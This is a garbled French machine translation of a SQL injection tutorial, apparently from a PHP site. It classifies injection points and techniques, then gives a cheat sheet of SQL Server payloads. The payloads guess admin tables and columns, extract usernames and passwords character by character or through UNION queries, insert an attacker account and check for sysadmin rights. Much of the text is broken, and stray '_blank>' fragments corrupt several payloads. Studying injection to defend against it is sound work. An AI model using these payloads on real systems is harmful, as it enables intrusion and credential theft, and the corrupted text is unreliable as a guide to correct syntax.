Il existe trois types d'instructions d'injection SQL, à savoir : 1. Point d'injection numérique, avec des instructions telles que "select * from table name which id=1 and 1=1" ; 2. Points d'injection de caractères, avec des instructions telles que « sélectionnez * à partir du nom de la table où nom » ; 3. Recherchez le point d'injection.
L'environnement d'exploitation de cet article : système Windows 7, version SQL Server 2016, ordinateur Dell G3.
Instructions d'injection SQL courantes
En insérant des commandes SQL dans des formulaires Web Soumettre ou entrez la chaîne de requête du nom de domaine ou de la demande de page, et finalement incitez le serveur à exécuter des commandes SQL malveillantes.
De nombreux liens web ont une structure similaire http : //xxx.com/users.php?id=1 L'injection basée sur ce formulaire est généralement appelée point d'injection numérique car le type d'identifiant du point d'injection est un nombre dans la plupart des pages Web, telles que l'affichage des informations personnelles de l'utilisateur, l'affichage d'articles. , etc., la plupart d'entre eux utilisent cette forme de structure pour transférer des informations telles que l'identité, les transmettre au backend, interroger les informations correspondantes dans la base de données et les renvoyer à la réception. Le prototype de ce type d'instruction SQL est probablement select * from 表名 where id=1
S'il y a injection, nous pouvons construire une instruction d'injection SQL similaire à la suivante pour le dynamitage : select * from 表名 where id=1 and 1=1
Le lien Web a une structure similaire http://xxx.com/users.php?name=admin. Le type de nom de point d'injection est un type de caractère, il est donc appelé point d'injection de caractère. Le prototype de ce type d'instruction SQL est probablement select * from 表名 where name='admin'
. Il convient de noter que par rapport au prototype d'instruction SQL de type injection numérique, il y a plus de guillemets, qui peuvent être des guillemets simples ou doubles. S'il y a injection, nous pouvons construire une instruction d'injection SQL similaire à la suivante : select * from 表名 where name='admin' and 1=1 '
Nous devons nous débarrasser de ces guillemets ennuyeux.
Il s'agit d'un type d'injection spécial. Ce type d'injection fait principalement référence au fait de ne pas filtrer les paramètres de recherche lors de la recherche de données. Généralement, il y a "keyword=关键字"
dans l'adresse du lien. Certains ne sont pas affichés dans l'adresse du lien, mais sont soumis directement via le formulaire du champ de recherche. Le prototype de l'instruction SQL soumise par ce type de point d'injection est grossièrement : select * from 表名 where 字段 like '%关键字%'
S'il y a injection, nous pouvons construire une instruction d'injection SQL similaire à la suivante pour le dynamitage : select * from 表名 where 字段 like '%测试%' and '%1%'='%1%'
Soumettre en fonction des données La façon de classer
La façon de soumettre les données est GET, et l'emplacement du point d'injection est dans la partie paramètre GET . Par exemple, il existe un tel lien http://xxx.com/news.php?id=1, id est le point d'injection.
Utilisez la méthode POST pour soumettre des données. Le point d'injection se trouve dans la partie données POST, ce qui se produit souvent dans les formulaires.
La requête HTTP apportera le Cookie du client, et le point d'injection existe dans un certain champ du Cookie.
Le point d'injection se trouve dans un certain champ de l'en-tête de la requête HTTP. Par exemple, il existe dans le champ User-Agent. À proprement parler, Cookie devrait en fait être considéré comme une forme d’injection d’en-tête. Car lors des requêtes HTTP, Cookie est un champ dans l’en-tête.
Classification selon l'effet d'exécution
est une injection qui peut déterminer si la condition est vraie ou fausse basé sur la page renvoyée.
signifie qu'aucune information ne peut être jugée sur la base du contenu de retour de la page, et les instructions conditionnelles sont utilisées pour vérifier si l'instruction de délai est exécutée (qui c'est-à-dire si le temps de retour de la page augmente).
signifie que la page renverra des informations d'erreur ou renverra le résultat de l'instruction injectée directement à la page.
L'injection en cas d'union peut être utilisée.
Déclarations couramment utilisées
1.判断有无注入点 ; and 1=1 and 1=2 2.猜表一般的表的名称无非是admin adminuser user pass password 等.. and 0<>(select count(*) from *) and 0<>(select count(*) from admin) ---判断是否存在admin这张表 3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个 and 0<(select count(*) from admin) and 1<(select count(*) from admin) 4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称. and 1=(select count(*) from admin where len(*)>0)-- and 1=(select count(*) from admin where len(用户字段名称name)>0) and 1=(select count(*) from admin where len(_blank>密码字段名称password)>0) 5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止 and 1=(select count(*) from admin where len(*)>0) and 1=(select count(*) from admin where len(name)>6) 错误 and 1=(select count(*) from admin where len(name)>5) 正确 长度是6 and 1=(select count(*) from admin where len(name)=6) 正确 and 1=(select count(*) from admin where len(password)>11) 正确 and 1=(select count(*) from admin where len(password)>12) 错误 长度是12 and 1=(select count(*) from admin where len(password)=12) 正确 6.猜解字符 and 1=(select count(*) from admin where left(name,1)=a) ---猜解用户帐号的第一位 and 1=(select count(*) from admin where left(name,2)=ab)---猜解用户帐号的第二位 就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了 and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) -- 这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符. group by users.id having 1=1-- group by users.id, users.username, users.password, users.privs having 1=1-- ; insert into users values( 666, attacker, foobar, 0xffff )-- UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable- UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank >_id)- UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank >_id,login_blank>_name)- UNION SELECT TOP 1 login_blank>_name FROM logintable- UNION SELECT TOP 1 password FROM logintable where login_blank>_name=Rahul-- 看_blank>服务器打的补丁=出错了打了SP4补丁 and 1=(select @@VERSION)-- 看_blank>数据库连接账号的权限,返回正常,证明是_blank>服务器角色sysadmin权限。 and 1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin))-- 判断连接_blank>数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA) and sa=(SELECT System_blank>_user)-- and user_blank>_name()=dbo-- and 0<>(select user_blank>_name()--
Recommandé (gratuit) : tutoriel SQL
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!